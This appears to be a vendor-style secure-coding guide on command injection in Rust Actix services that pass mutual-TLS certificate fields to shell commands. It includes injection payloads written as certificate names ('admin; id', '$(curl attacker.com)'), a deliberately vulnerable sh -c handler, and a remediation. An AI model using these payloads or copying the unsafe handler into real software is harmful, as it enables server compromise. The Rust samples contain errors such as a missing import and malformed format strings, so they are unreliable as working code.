Command Injection in Actix with Mutual Tls
Command Injection in Actix with Mutual Tls — how this specific combination creates or exposes the vulnerability
Command Injection occurs when an attacker can inject and execute arbitrary system commands through an API. In Actix applications that use Mutual TLS (mTLS), the presence of client certificates may create a false sense of security, leading developers to skip input validation or authorization checks on authenticated channels. When mTLS is enforced, the server validates the client certificate, but if the application then uses certificate subject fields, Common Name (CN), or organizational attributes as direct inputs to shell commands or system utilities, it introduces a command injection path.
For example, consider an endpoint that uses the client certificate’s DN to construct a system command for diagnostics or personalization. An attacker with a valid certificate (obtained via compromised CA or social engineering) could supply a CN like admin; id or $(curl attacker.com). If the Actix handler concatenates this value into a shell command without sanitization, the injected segment executes with the server’s privileges. This becomes especially dangerous when combined with mTLS because developers may assume that mTLS alone provides sufficient access control, leading to missing validation logic.
Additionally, Actix middleware that reads certificate fields for routing or rate-limiting might pass these values to external processes or logs that are later used in command construction. The combination of mTLS authentication and unchecked input creates a scenario where the trust boundary is incorrectly narrowed to the TLS layer, while the application layer remains vulnerable. The risk is not in mTLS itself, but in how certificate-derived data is handled after authentication.
Real-world attack patterns include attempts to exploit certificate fields such as OU or emailAddress that are improperly sanitized. If the application runs commands via std::process::Command and directly appends these fields, it mirrors classic OS command injection (CWE-78). OWASP API Top 10 A03:2023 (Injection) applies here, and mappings to compliance frameworks such as PCI-DSS and SOC2 highlight the need for input validation even in authenticated channels.
Mutual Tls-Specific Remediation in Actix — concrete code fixes
To remediate command injection in Actix with mTLS, treat certificate-derived data as untrusted input. Always validate, sanitize, and avoid passing certificate fields directly to shell commands. Use allowlists, structured data, and safe APIs instead of constructing commands via string concatenation.
Example: Unsafe usage with certificate subject
use actix_web::{web, App, HttpServer, Responder};
use openssl::ssl::{SslAcceptor, SslFiletype, SslMethod};
// UNSAFE: using certificate CN directly in a shell command
async fn diagnostic(cert_subject: web::Header<&str>) -> impl Responder {
let subject = cert_subject.into_inner();
let output = std::process::Command::new("sh")
.arg("-c")
.arg(format!("echo processing for {{}}", subject)) // Vulnerable
.output()
.expect("failed to execute command");
format!("Result: {{}}", String::from_utf8_lossy(&output.stdout))
}
Safe remediation: validate and avoid shell invocation
use actix_web::{web, App, HttpServer, Responder};
use openssl::ssl::{SslAcceptor, SslFiletype, SslMethod};
// SAFE: validate subject against an allowlist and avoid shell
async fn safe_diagnostic(cert_subject: web::Header<String>) -> impl Responder {
let subject = cert_subject.into_inner();
// Allowlist: only known subjects
let allowed = ["CN=alice,O=Example", "CN=bob,O=Example"];
if !allowed.contains(&subject.as_str()) {
return HttpResponse::Forbidden().body("Invalid certificate subject");
}
// Use structured logic instead of shell commands
format!("Processing for {{}}", subject)
}
Configuring mTLS in Actix with safe server setup
use actix_web::{web, App, HttpServer, middleware::Logger};
use openssl::ssl::{SslAcceptor, SslFiletype, SslMethod, SslVerifyMode};
fn create_ssl_config() -> SslAcceptor {
let mut builder = SslAcceptor::mozilla_intermediate(SslMethod::tls()).unwrap();
builder.set_private_key_file("key.pem", SslFiletype::PEM).unwrap();
builder.set_certificate_chain_file("cert.pem").unwrap();
builder.set_client_ca_file("ca.pem").unwrap();
builder.set_verify(SslVerifyMode::PEER | SslVerifyMode::FAIL_IF_NO_PEER_CERT, verify_callback);
builder.build()
}
fn verify_callback(verify: &openssl::ssl::SslVerifyResult) -> bool {
// Additional application-level checks can be performed here
verify.error() == openssl::x509::X509VerifyResult::OK
}
#[actix_web::main]
async fn main() -> std::io::Result<()> {
std::env::set_var("RUST_LOG", "actix_web=info");
env_logger::init();
let ssl = create_ssl_config();
HttpServer::new(|| {
App::new()
.wrap(Logger::default())
.route("/diagnostic", web::get().to(safe_diagnostic))
})
.bind_openssl("127.0.0.1:8443", ssl)?
.run()
.await
}
Additional recommendations:
- Never use certificate fields as arguments to shell commands; use internal routing logic instead.
- Apply strict allowlists for certificate attributes used in access control decisions.
- Leverage Actix’s extractor patterns to enforce schema validation on all inputs, including headers and certificates.
- Combine mTLS with application-level RBAC to ensure defense in depth.
Related CWEs: inputValidation
| CWE ID | Name | Severity |
|---|---|---|
| CWE-20 | Improper Input Validation | HIGH |
| CWE-22 | Path Traversal | HIGH |
| CWE-74 | Injection | CRITICAL |
| CWE-77 | Command Injection | CRITICAL |
| CWE-78 | OS Command Injection | CRITICAL |
| CWE-79 | Cross-site Scripting (XSS) | HIGH |
| CWE-89 | SQL Injection | CRITICAL |
| CWE-90 | LDAP Injection | HIGH |
| CWE-91 | XML Injection | HIGH |
| CWE-94 | Code Injection | CRITICAL |
Frequently Asked Questions
Does mTLS prevent command injection in Actix?
How can I test my Actix endpoints for command injection using middleBrick?
middlebrick scan https://your-api.example.com. The scan includes input validation checks that can surface command injection risks, even when mTLS is in use.